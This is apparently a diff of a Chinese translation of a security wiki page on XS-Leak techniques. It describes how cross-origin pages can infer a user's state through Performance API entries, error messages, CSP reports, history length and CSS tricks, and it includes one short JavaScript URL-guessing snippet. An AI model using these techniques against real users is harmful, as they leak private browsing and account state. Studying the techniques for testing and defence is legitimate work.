[`性能 API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) 提供了对 Web 应用程序性能指标的洞察,进一步通过 [`资源计时 API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) 得到增强。资源计时 API 使监控详细的网络请求计时成为可能,例如请求的持续时间。值得注意的是,当服务器在其响应中包含 `Timing-Allow-Origin: *` 头时,诸如传输大小和域查找时间等附加数据将变得可用。
|
||||
|
||||
这些丰富的数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索,提供全面的性能相关信息。此外,该 API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于某些浏览器(如 Chrome)中的操作,`performance.now()` 的精度可能仅限于毫秒,这可能影响计时测量的粒度。
|
||||
这些数据可以通过 [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) 或 [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) 等方法检索,提供全面的性能相关信息。此外,API 通过计算从 [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) 获取的时间戳之间的差异来测量执行时间。然而,值得注意的是,对于某些在 Chrome 等浏览器中的操作,`performance.now()` 的精度可能仅限于毫秒,这可能会影响计时测量的粒度。
|
||||
|
||||
除了计时测量外,性能 API 还可以用于安全相关的洞察。例如,Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体来说,如果由于 `X-Frame-Options` 而阻止页面在框架中呈现,则不会在 `performance` 对象中记录该页面,从而提供有关页面框架策略的微妙线索。
|
||||
除了计时测量外,性能 API 还可以用于安全相关的洞察。例如,Chrome 中 `performance` 对象中页面的存在或缺失可以指示 `X-Frame-Options` 的应用。具体而言,如果由于 `X-Frame-Options` 而阻止页面在框架中呈现,则不会在 `performance` 对象中记录该页面,从而提供有关页面框架策略的微妙线索。
|
||||
|
||||
### 错误泄露
|
||||
|
||||
@ -297,10 +297,10 @@ connection-pool-example.md
|
||||
- **包含方法**: HTML 元素
|
||||
- **可检测差异**: 状态码
|
||||
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **总结**: 由于浏览器错误,导致错误的请求会被加载两次。
|
||||
- **总结**: 由于浏览器错误,导致错误的请求被加载两次。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
在前面的技术中,还识别出浏览器 GC 中的两个案例,导致**资源在加载失败时被加载两次**。这将导致性能 API 中出现多个条目,因此可以被检测到。
|
||||
在前一种技术中,还识别出浏览器 GC 中的两个案例,导致**资源在加载失败时被加载两次**。这将导致性能 API 中的多个条目,因此可以被检测到。
|
||||
|
||||
### 请求合并错误
|
||||
|
||||
@ -310,7 +310,7 @@ connection-pool-example.md
|
||||
- **总结**: 导致错误的请求无法合并。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
该技术在提到的论文中的表格中发现,但未找到该技术的描述。然而,你可以在 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) 中检查源代码。
|
||||
该技术在提到的论文中的表格中被发现,但没有找到该技术的描述。然而,您可以通过检查 [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) 中的源代码找到它。
|
||||
|
||||
### 空页面泄露
|
||||
|
||||
@ -320,17 +320,17 @@ connection-pool-example.md
|
||||
- **总结**: 空响应不会创建资源计时条目。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||||
|
||||
攻击者可以检测请求是否导致空的 HTTP 响应体,因为**空页面在某些浏览器中不会创建性能条目**。
|
||||
攻击者可以检测请求是否导致空 HTTP 响应体,因为**空页面在某些浏览器中不会创建性能条目**。
|
||||
|
||||
### **XSS-Auditor 泄露**
|
||||
|
||||
- **包含方法**: Frames
|
||||
- **可检测差异**: 页面内容
|
||||
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **总结**: 使用安全声明中的 XSS 审计器,攻击者可以通过观察在构造有效负载触发审计器过滤机制时响应的变化来检测特定网页元素。
|
||||
- **总结**: 使用安全声明中的 XSS 审计器,攻击者可以通过观察在构造有效负载触发审计器的过滤机制时响应的变化来检测特定网页元素。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
在安全声明 (SA) 中,XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管这一内置特性已从 Google Chrome (GC) 中移除,但在 SA 中仍然存在。2013 年,Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks,最初由 Terada 报告,并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
|
||||
在安全声明 (SA) 中,XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除,但在 SA 中仍然存在。2013 年,Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks,最初由 Terada 报告,并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
|
||||
|
||||
### X-Frame 泄露
|
||||
|
||||
@ -341,7 +341,7 @@ connection-pool-example.md
|
||||
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
如果页面**不允许**在**iframe**中**呈现**,则不会**创建性能条目**。因此,攻击者可以检测响应头**`X-Frame-Options`**。\
|
||||
如果使用**embed** **标签**,情况也是如此。
|
||||
使用**embed** **标签**时也是如此。
|
||||
|
||||
### 下载检测
|
||||
|
||||
@ -351,7 +351,7 @@ connection-pool-example.md
|
||||
- **总结**: 下载不会在性能 API 中创建资源计时条目。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
与描述的 XS-Leak 类似,由于 ContentDisposition 头,**下载的资源**也**不会创建性能条目**。该技术在所有主要浏览器中均有效。
|
||||
与描述的 XS-Leak 类似,**由于 ContentDisposition 头而下载的资源**也**不会创建性能条目**。此技术在所有主要浏览器中均有效。
|
||||
|
||||
### 重定向开始泄露
|
||||
|
||||
@ -399,7 +399,7 @@ connection-pool-example.md
|
||||
### 缓存
|
||||
|
||||
- **包含方法**: Fetch API
|
||||
- **可检测差异**: 时间
|
||||
- **可检测差异**: 计时
|
||||
- **更多信息**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
||||
- **总结**: 可以检查资源是否存储在缓存中。
|
||||
- **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
||||
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
|
||||
- **总结:** 在安全声明 (SA) 中,CORS 错误消息无意中暴露了重定向请求的完整 URL。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
此技术使攻击者能够通过利用 Webkit 基于浏览器处理 CORS 请求的方式来**提取跨源站点重定向的目标**。具体而言,当向一个基于用户状态发出重定向的目标站点发送**CORS 启用请求**时,如果浏览器随后拒绝该请求,则**重定向目标的完整 URL**会在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
|
||||
此技术使攻击者能够**提取跨源站点重定向的目标**,通过利用基于 Webkit 的浏览器处理 CORS 请求的方式。具体而言,当向一个根据用户状态发出重定向的目标站点发送**CORS 启用请求**时,如果浏览器随后拒绝该请求,**重定向目标的完整 URL**将在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
|
||||
|
||||
### SRI 错误
|
||||
|
||||
@ -490,7 +490,7 @@ audioElement.onerror = errHandler
|
||||
- **总结:** 在安全声明 (SA) 中,CORS 错误消息无意中暴露了重定向请求的完整 URL。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
攻击者可以利用**详细的错误消息**来推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性来验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是**CORS 启用的**;否则,它们不受完整性检查。在安全声明 (SA) 中,与 CORS 错误 XS-Leak 类似,错误消息可以在带有完整性属性的 fetch 请求失败后被捕获。攻击者可以故意**触发此错误**,通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够识别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
|
||||
攻击者可以利用**详细的错误消息**推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性验证从 CDN 获取的资源未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是**CORS 启用的**;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak,当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意**触发此错误**,通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够识别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
|
||||
|
||||
### CSP 违规/检测
|
||||
|
||||
@ -501,7 +501,7 @@ audioElement.onerror = errHandler
|
||||
- **代码示例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者站点上允许目标域**。一旦向目标域发出请求,它**重定向**到一个跨源域。**CSP 阻止**对其的访问并创建一个**违规报告作为泄漏技术**。根据浏览器的不同,**此报告可能泄漏重定向的目标位置**。\
|
||||
现代浏览器不会指示重定向到的 URL,但您仍然可以检测到跨源重定向已被触发。
|
||||
现代浏览器不会指示重定向到的 URL,但仍然可以检测到触发了跨源重定向。
|
||||
|
||||
### 缓存
|
||||
|
||||
@ -533,7 +533,7 @@ Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上
|
||||
- **总结:** 使用跨源资源策略 (CORP) 保护的资源在从不允许的源获取时会抛出错误。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
|
||||
|
||||
CORP 头是一个相对较新的网络平台安全功能,当设置时**阻止对给定资源的无 CORS 跨源请求**。可以检测到该头的存在,因为受 CORP 保护的资源在被获取时会**抛出错误**。
|
||||
CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止对给定资源的无 CORS 跨源请求**。可以检测到该头的存在,因为受 CORP 保护的资源在被获取时会**抛出错误**。
|
||||
|
||||
### CORB
|
||||
|
||||
@ -553,7 +553,7 @@ CORP 头是一个相对较新的网络平台安全功能,当设置时**阻止
|
||||
- **总结**: 如果 Origin 头在 `Access-Control-Allow-Origin` 头中被反射,则可以检查资源是否已经在缓存中。
|
||||
- **代码示例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**,攻击者可以利用此行为尝试在**CORS** 模式下**获取**该**资源**。如果**没有**触发**错误**,则意味着它是**正确地从网络中检索**的;如果触发了错误,则是因为它是**从缓存中访问的**(错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应)。\
|
||||
如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**,攻击者可以利用这种行为尝试在**CORS** 模式下**获取**该**资源**。如果**没有**触发**错误**,则意味着它是**正确地从网络中检索**的;如果触发了错误,则是因为它是**从缓存中访问的**(错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应)。\
|
||||
请注意,如果原点没有被反射,但使用了通配符 (`Access-Control-Allow-Origin: *`),则此方法将无效。
|
||||
|
||||
## 可读属性技术
|
||||
@ -576,7 +576,7 @@ CORP 头是一个相对较新的网络平台安全功能,当设置时**阻止
|
||||
- **总结:** 受跨源打开者策略 (COOP) 保护的页面防止跨源交互的访问。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
攻击者能够推断跨源 HTTP 响应中跨源打开者策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 有条件应用的情况下,**`opener` 属性**成为一个明显的指示器:当 COOP 活动时,它是**未定义的**,而在没有 COOP 的情况下则是**定义的**。
|
||||
攻击者能够推断跨源 HTTP 响应中跨源打开者策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 有条件应用的情况下,**`opener` 属性**成为一个明显的指示器:当 COOP 活动时,它是**未定义的**,而在没有 COOP 的情况下是**定义的**。
|
||||
|
||||
### URL 最大长度 - 服务器端
|
||||
|
||||
@ -586,10 +586,10 @@ CORP 头是一个相对较新的网络平台安全功能,当设置时**阻止
|
||||
- **总结:** 检测响应中的差异,因为重定向响应长度可能过大,服务器会回复错误并生成警报。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
|
||||
|
||||
如果服务器端重定向使用**用户输入进行重定向**和**额外数据**。可以检测到这种行为,因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**,因为**重定向**使用**该数据**并**添加**一些**额外**内容,它将触发一个**可通过错误事件检测到的错误**。
|
||||
如果服务器端重定向使用**用户输入进行重定向**并且**附加数据**。可以检测到这种行为,因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**,因为**重定向**使用了**该数据**并**添加**了一些**额外的内容**,则会触发一个**可通过错误事件检测到的错误**。
|
||||
|
||||
如果您可以以某种方式将 cookies 设置给用户,您还可以通过**设置足够的 cookies**([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md))来执行此攻击,因此**正确响应**的**响应大小**增加会触发一个**错误**。在这种情况下,请记住,如果您从同一站点触发此请求,`<script>` 将自动发送 cookies(因此您可以检查错误)。\
|
||||
有关**cookie bomb + XS-Search**的示例可以在此写作的意图解决方案中找到:[https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
有关**cookie bomb + XS-Search**的示例可以在此写作的意图解决方案中找到: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` 或处于相同上下文通常是此类攻击所需的。
|
||||
|
||||
@ -623,27 +623,27 @@ url-max-length-client-side.md
|
||||
- **总结:** 利用浏览器的重定向限制来确定 URL 重定向的发生。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
|
||||
|
||||
如果浏览器的**最大**重定向次数为**20**,攻击者可以尝试用**19 次重定向**加载他的页面,最后**将受害者**发送到测试页面。如果触发了**错误**,则表示页面试图**重定向受害者**。
|
||||
如果浏览器的**最大**重定向次数为**20**,攻击者可以尝试用**19 次重定向**加载他的页面,最后**将受害者**发送到测试页面。如果触发了**错误**,则页面试图**重定向受害者**。
|
||||
|
||||
### 历史长度
|
||||
|
||||
- **包含方法**: 框架, 弹出窗口
|
||||
- **可检测差异**: 重定向
|
||||
- **更多信息**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
|
||||
- **总结:** JavaScript 代码操纵浏览器历史,可以通过长度属性访问。
|
||||
- **总结:** JavaScript 代码操纵浏览器历史记录,可以通过长度属性访问。
|
||||
- **代码示例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
|
||||
|
||||
**历史 API** 允许 JavaScript 代码操纵浏览器历史,**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。\
|
||||
**历史 API** 允许 JavaScript 代码操纵浏览器历史记录,**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。\
|
||||
**检查 `history.length`**,使用户**导航**到一个页面,**返回**到同源并**检查**新值的**`history.length`**。
|
||||
|
||||
### 使用相同 URL 的历史长度
|
||||
### 同一 URL 的历史长度
|
||||
|
||||
- **包含方法**: 框架, 弹出窗口
|
||||
- **可检测差异**: 如果 URL 与猜测的 URL 相同
|
||||
- **总结:** 可以通过操纵历史长度来猜测框架/弹出窗口的位置是否在特定 URL 中。
|
||||
- **总结:** 可以通过历史长度猜测框架/弹出窗口的位置是否在特定 URL 中。
|
||||
- **代码示例**: 以下
|
||||
|
||||
攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**,并**立即**将其**更改为 `about:blank`**。如果历史长度增加,则意味着 URL 是正确的,并且有时间**增加,因为如果 URL 相同则不会重新加载**。如果没有增加,则意味着它**尝试加载猜测的 URL**,但因为我们**立即之后**加载了**`about:blank`**,所以**历史长度在加载猜测的 URL 时从未增加**。
|
||||
攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**,并**立即**将其**更改为 `about:blank`**。如果历史长度增加,则意味着 URL 是正确的,并且有时间**增加,因为如果 URL 相同则不会重新加载**。如果没有增加,则意味着它**尝试加载猜测的 URL**,但因为我们**立即之后**加载了**`about:blank`**,所以在加载猜测的 URL 时**历史长度从未增加**。
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -676,24 +676,24 @@ console.log(await debug(win, "https://example.com/?a=b"))
|
||||
|
||||
### HTMLElements
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Inclusion Methods**: HTML 元素
|
||||
- **Detectable Difference**: 页面内容
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
||||
- **Summary:** 读取泄露的值以区分两种可能的状态
|
||||
- **Summary:** 读取泄露的值以区分 2 种可能的状态
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变媒体大小。攻击者可以利用这一点,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
|
||||
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变媒体大小。这可以被攻击者利用,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
|
||||
|
||||
### Information Exposed by HTML Elements
|
||||
|
||||
- **HTMLMediaElement**: 此元素揭示媒体的 `duration` 和 `buffered` 时间,可以通过其 API 访问。[Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: 它暴露 `videoHeight` 和 `videoWidth`。在某些浏览器中,像 `webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount` 和 `webkitDecodedFrameCount` 等附加属性可用,提供有关媒体内容的更深入信息。[Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息,包括 `totalVideoFrames`,这可以指示处理的视频数据量。[Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: 此元素泄露图像的 `height` 和 `width`。但是,如果图像无效,这些属性将返回 0,并且 `image.decode()` 函数将被拒绝,指示未能正确加载图像。[Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
- **HTMLMediaElement**: 该元素揭示媒体的 `duration` 和 `buffered` 时间,可以通过其 API 访问。[了解更多关于 HTMLMediaElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: 它暴露 `videoHeight` 和 `videoWidth`。在某些浏览器中,额外的属性如 `webkitVideoDecodedByteCount`、`webkitAudioDecodedByteCount` 和 `webkitDecodedFrameCount` 可用,提供有关媒体内容的更深入信息。[了解更多关于 HTMLVideoElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息,包括 `totalVideoFrames`,这可以指示处理的视频数据量。[了解更多关于 getVideoPlaybackQuality() 的信息](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: 该元素泄露图像的 `height` 和 `width`。但是,如果图像无效,这些属性将返回 0,并且 `image.decode()` 函数将被拒绝,表示未能正确加载图像。[了解更多关于 HTMLImageElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### CSS Property
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Inclusion Methods**: HTML 元素
|
||||
- **Detectable Difference**: 页面内容
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
|
||||
- **Summary:** 识别与用户状态或身份相关的网站样式变化。
|
||||
@ -704,26 +704,26 @@ Web 应用程序可能会根据用户的状态更改 **网站样式**。跨域 C
|
||||
|
||||
### CSS History
|
||||
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Inclusion Methods**: HTML 元素
|
||||
- **Detectable Difference**: 页面内容
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
|
||||
- **Summary:** 检测 `:visited` 样式是否应用于 URL,指示其已被访问
|
||||
- **Summary:** 检测是否对 URL 应用 `:visited` 样式,指示其已被访问
|
||||
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
|
||||
|
||||
> [!NOTE]
|
||||
> 根据 [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/),在无头 Chrome 中此方法无效。
|
||||
> 根据 [**这个**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的说法,这在无头 Chrome 中不起作用。
|
||||
|
||||
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法揭示链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
|
||||
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。在过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法揭示链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
|
||||
|
||||
尽管有这些限制,但可以间接识别链接的访问状态。一种技术涉及诱使用户与受 CSS 影响的区域进行交互,特别是利用 `mix-blend-mode` 属性。该属性允许元素与其背景混合,可能根据用户交互揭示访问状态。
|
||||
|
||||
此外,可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差。Chromium 错误报告中提到了一种概念验证 (PoC),演示了使用多个链接来放大时间差,从而通过时间分析使访问状态可检测。
|
||||
此外,可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差异。在 Chromium 错误报告中提到了一种概念证明 (PoC),演示了使用多个链接来放大时间差异,从而通过时间分析使访问状态可检测。
|
||||
|
||||
有关这些属性和方法的更多详细信息,请访问其文档页面:
|
||||
|
||||
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
||||
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
- `:visited`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
|
||||
- `getComputedStyle()`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
|
||||
- `mix-blend-mode`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
|
||||
|
||||
### ContentDocument X-Frame Leak
|
||||
|
||||
@ -746,12 +746,12 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
`Content-Disposition` 头,特别是 `Content-Disposition: attachment`,指示浏览器下载内容而不是内联显示。这种行为可以被利用来检测用户是否可以访问触发文件下载的页面。在基于 Chromium 的浏览器中,有几种技术可以检测这种下载行为:
|
||||
|
||||
1. **下载栏监控**:
|
||||
- 当在基于 Chromium 的浏览器中下载文件时,浏览器窗口底部会出现下载栏。
|
||||
- 当文件在基于 Chromium 的浏览器中下载时,下载栏会出现在浏览器窗口底部。
|
||||
- 通过监控窗口高度的变化,攻击者可以推断下载栏的出现,表明下载已启动。
|
||||
2. **使用 Iframe 的下载导航**:
|
||||
- 当页面使用 `Content-Disposition: attachment` 头触发文件下载时,它不会引起导航事件。
|
||||
2. **使用 Iframes 的下载导航**:
|
||||
- 当页面使用 `Content-Disposition: attachment` 头触发文件下载时,它不会导致导航事件。
|
||||
- 通过在 iframe 中加载内容并监控导航事件,可以检查内容处置是否导致文件下载(无导航)或不是。
|
||||
3. **不使用 Iframe 的下载导航**:
|
||||
3. **不使用 Iframes 的下载导航**:
|
||||
- 与 iframe 技术类似,此方法涉及使用 `window.open` 而不是 iframe。
|
||||
- 监控新打开窗口中的导航事件可以揭示是否触发了文件下载(无导航)或内容是否内联显示(发生导航)。
|
||||
|
||||
@ -766,13 +766,13 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass), [https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) (来自 [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/))
|
||||
|
||||
> [!WARNING]
|
||||
